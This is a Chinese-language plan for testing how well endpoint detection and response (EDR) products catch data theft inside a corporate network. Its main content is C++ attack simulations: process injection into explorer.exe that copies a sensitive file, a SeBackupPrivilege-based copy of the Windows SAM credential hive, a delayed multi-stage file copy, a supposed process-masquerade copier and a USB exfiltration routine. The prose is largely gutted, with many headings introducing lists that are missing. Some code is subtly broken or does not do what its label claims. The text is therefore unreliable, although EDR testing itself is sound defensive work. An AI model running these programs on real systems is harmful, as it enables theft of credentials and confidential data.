随着网络安全威胁的不断演进,终端检测与响应(EDR)产品已成为企业内网安全防护体系的核心组件。EDR通过在终端设备上安装代理软件,实时监控和分析终端活动,能够及时检测各类安全威胁并进行快速响应处置。然而,在当前内网环境下,传统依赖特征库的防御方式已无法有效应对新型窃密性攻击,如无文件攻击、进程注入、权限提升等高级威胁。
特别是在内网环境中,攻击者往往采用更加隐蔽的手段窃取敏感信息,这些攻击行为通常不与外部C2服务器通信,使得传统依赖网络流量分析的检测方法难以奏效。根据2025年最新的安全研究表明,EDR产品在面对这类威胁时仍存在明显短板。
本研究旨在为EDR产品高级测试员提供系统化的测试方案,聚焦于内网环境下的窃密性攻击场景,帮助其通过测试挖掘产品研判的弱点,进而提升产品质量。具体目标包括:
在内网环境中,攻击者通常采用多种技术手段窃取敏感信息,这些技术手段可以分为以下几类:
基于当前EDR产品的技术特点和实际应用情况,我们总结出以下几方面的能力短板:
为确保测试的有效性和可重复性,需要构建一个完整的内网测试环境,包括:
测试目标:验证EDR对进程注入行为的检测能力,以及对注入后敏感数据窃取行为的关联分析能力。
测试步骤:
#include <windows.h> #include <iostream> #include <fstream> using namespace std; // 注入到目标进程的函数(读取敏感文件) DWORD WINAPI StealSensitiveFile(LPVOID lpParam) { const char* srcPath = "C:\\敏感文档.docx"; const char* dstPath = "C:\\Temp\\steal_data.dat"; ifstream srcFile(srcPath, ios::binary); if (!srcFile.is_open()) return 1; ofstream dstFile(dstPath, ios::binary); if (!dstFile.is_open()) { srcFile.close(); return 1; } dstFile << srcFile.rdbuf(); srcFile.close(); dstFile.close(); return 0; } int main() { // 查找目标进程PID DWORD explorerPID = FindProcessId("explorer.exe"); if (explorerPID == 0) { cout << "Find explorer.exe failed" << endl; return 1; } // 打开目标进程 HANDLE hExplorer = OpenProcess(PROCESS_ALL_ACCESS, FALSE, explorerPID); if (hExplorer == NULL) { cout << "Open explorer.exe failed: " << GetLastError() << endl; return 1; } // 在目标进程中分配内存,写入窃取函数 LPVOID remoteMem = VirtualAllocEx(hExplorer, NULL, 4096, MEM_COMMIT, PAGE_EXECUTE_READWRITE); if (remoteMem == NULL) { cout << "VirtualAllocEx failed: " << GetLastError() << endl; CloseHandle(hExplorer); return 1; } WriteProcessMemory(hExplorer, remoteMem, (LPVOID)StealSensitiveFile, 4096, NULL); // 创建远程线程,执行窃取函数 HANDLE hRemoteThread = CreateRemoteThread(hExplorer, NULL, 0, (LPTHREAD_START_ROUTINE)remoteMem, NULL, 0, NULL); if (hRemoteThread == NULL) { cout << "CreateRemoteThread failed: " << GetLastError() << endl; VirtualFreeEx(hExplorer, remoteMem, 0, MEM_RELEASE); CloseHandle(hExplorer); return 1; } WaitForSingleObject(hRemoteThread, INFINITE); // 清理资源 CloseHandle(hRemoteThread); VirtualFreeEx(hExplorer, remoteMem, 0, MEM_RELEASE); CloseHandle(hExplorer); return 0; }
测试目标:验证EDR对权限提升行为的检测能力,以及对低权限进程访问高敏感资源的判断能力。
测试步骤:
#include <windows.h> #include <iostream> #include <fstream> using namespace std; // 提升进程权限(启用SeBackupPrivilege) BOOL EnablePrivilege(const char* privName) { HANDLE hToken; TOKEN_PRIVILEGES tp = {0}; LUID luid; if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken)) { cout << "OpenProcessToken failed: " << GetLastError() << endl; return FALSE; } if (!LookupPrivilegeValue(NULL, privName, &luid)) { cout << "LookupPrivilegeValue failed: " << GetLastError() << endl; CloseHandle(hToken); return FALSE; } tp.PrivilegeCount = 1; tp.Privileges[0].Luid = luid; tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; if (!AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(tp), NULL, NULL)) { cout << "AdjustTokenPrivileges failed: " << GetLastError() << endl; CloseHandle(hToken); return FALSE; } CloseHandle(hToken); return TRUE; } // 读取SAM文件(敏感资源) BOOL ReadSAMFile() { const char* samPath = "C:\\Windows\\System32\\config\\SAM"; const char* dstPath = "C:\\Temp\\sam_backup.tmp"; HANDLE hSAM = CreateFile(samPath, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_FLAG_BACKUP_SEMANTICS, NULL); if (hSAM == INVALID_HANDLE_VALUE) { cout << "Open SAM failed: " << GetLastError() << endl; return FALSE; } char buf[4096]; DWORD bytesRead; ofstream dstFile(dstPath, ios::binary); if (!dstFile.is_open()) { cout << "Create backup file failed" << endl; CloseHandle(hSAM); return FALSE; } while (ReadFile(hSAM, buf, sizeof(buf), &bytesRead, NULL) && bytesRead > 0) { dstFile.write(buf, bytesRead); } dstFile.close(); CloseHandle(hSAM); cout << "SAM backup saved to " << dstPath << endl; return TRUE; } int main() { // 提升当前进程权限 if (!EnablePrivilege(SE_BACKUP_NAME)) { cout << "Enable SeBackupPrivilege failed" << endl; return 1; } // 读取SAM文件 ReadSAMFile(); return 0; }
测试目标:验证EDR对跨时间、跨进程的敏感数据窃取行为的关联分析能力。
测试步骤:
#include <windows.h> #include <iostream> #include <fstream> #include <thread> using namespace std; // 模拟敏感文件读取 void ReadSensitiveFile() { const char* srcPath = "D:\\ERP\\销售数据.xlsx"; ifstream srcFile(srcPath, ios::binary); if (!srcFile.is_open()) { cout << "Failed to open source file" << endl; return; } srcFile.close(); cout << "Sensitive file read successfully" << endl; } // 模拟创建临时文件 void CreateTempFile() { const char* tempPath = "C:\\Users\\Public\\1.tmp"; ofstream tempFile(tempPath, ios::binary); if (!tempFile.is_open()) { cout << "Failed to create temp file" << endl; return; } tempFile.close(); cout << "Temp file created successfully" << endl; } // 模拟写入临时文件 void WriteToTempFile() { const char* srcPath = "D:\\ERP\\销售数据.xlsx"; const char* tempPath = "C:\\Users\\Public\\1.tmp"; ifstream srcFile(srcPath, ios::binary); if (!srcFile.is_open()) { cout << "Failed to open source file" << endl; return; } ofstream tempFile(tempPath, ios::binary); if (!tempFile.is_open()) { cout << "Failed to create temp file" << endl; srcFile.close(); return; } tempFile << srcFile.rdbuf(); srcFile.close(); tempFile.close(); cout << "Data written to temp file successfully" << endl; } int main() { // 第一步:读取敏感文件 ReadSensitiveFile(); // 等待10分钟 cout << "Waiting for 10 minutes..." << endl; this_thread::sleep_for(chrono::minutes(10)); // 第二步:创建临时文件 CreateTempFile(); // 等待5分钟 cout << "Waiting for 5 minutes..." << endl; this_thread::sleep_for(chrono::minutes(5)); // 第三步:写入临时文件 WriteToTempFile(); return 0; }
测试目标:验证EDR对进程伪装技术的识别能力,以及对伪装进程进行敏感数据窃取行为的检测能力。
测试步骤:
#include <windows.h> #include <iostream> #include <fstream> using namespace std; int main() { // 伪装成系统进程svchost.exe const char* srcPath = "C:\\敏感文档.docx"; const char* dstPath = "C:\\Temp\\stolen_data.dat"; ifstream srcFile(srcPath, ios::binary); if (!srcFile.is_open()) { cout << "Failed to open source file" << endl; return 1; } ofstream dstFile(dstPath, ios::binary); if (!dstFile.is_open()) { srcFile.close(); cout << "Failed to create destination file" << endl; return 1; } dstFile << srcFile.rdbuf(); srcFile.close(); dstFile.close(); cout << "Sensitive data stolen successfully" << endl; return 0; }
测试目标:验证EDR对通过可移动存储设备进行数据外移行为的检测能力。
测试步骤:
#include <windows.h> #include <iostream> #include <fstream> #include <vector> using namespace std; // 获取所有可移动存储设备(U盘) vector<string> getRemovableDrives() { vector<string> drives; char driveLetters[26] = {0}; DWORD driveMask = GetLogicalDrives(); for (char c = 'A'; c <= 'Z'; c++) { if (driveMask & 1) { string drive = string(1, c) + ":\\"; UINT driveType = GetDriveTypeA(drive.c_str()); if (driveType == DRIVE_REMOVABLE) { // 可移动设备(U盘) drives.push_back(drive); } } driveMask >>= 1; } return drives; } // 复制文件到U盘 bool copyToUSB(const string& sourcePath, const string& usbDrive) { const char* srcPath = sourcePath.c_str(); const char* dstPath = (usbDrive + "stolen_data.dat").c_str(); ifstream srcFile(srcPath, ios::binary); if (!srcFile.is_open()) { cout << "Failed to open source file" << endl; return false; } ofstream dstFile(dstPath, ios::binary); if (!dstFile.is_open()) { srcFile.close(); cout << "Failed to create destination file" << endl; return false; } dstFile << srcFile.rdbuf(); srcFile.close(); dstFile.close(); cout << "Sensitive data copied to USB successfully" << endl; return true; } int main() { // 获取U盘列表 vector<string> usbDrives = getRemovableDrives(); if (usbDrives.empty()) { cout << "No USB drive found" << endl; return 1; } // 选择第一个U盘 string usbDrive = usbDrives[0]; // 复制敏感文件到U盘 if (!copyToUSB("C:\\敏感文档.docx", usbDrive)) { return 1; } return 0; }
EDR产品在窃密场景下的一个主要弱点是对行为链的关联分析能力不足。为了挖掘这一弱点,可以采用以下方法:
EDR产品在基线学习与异常检测方面的弱点可以通过以下方法挖掘:
EDR产品在风险定位与溯源方面的弱点可以通过以下方法挖掘:
为提升EDR产品在无特征依赖情况下的风险判断能力,建议从以下几个方面改进:
为提升EDR产品的行为链关联分析能力,建议从以下几个方面改进:
为提升EDR产品的风险定位与响应能力,建议从以下几个方面改进:
为帮助EDR产品更好地支持剧本创建和日志管理,建议从以下几个方面改进:
为了客观评估EDR产品在窃密场景下的表现,我们建立以下评估标准:
基于测试结果评估,我们建议采用以下产品优化流程:
通过对EDR产品在内网窃密性攻击场景下的测试研究,我们得出以下结论:
基于当前EDR技术的发展趋势和研究成果,我们对未来EDR产品的发展方向进行展望: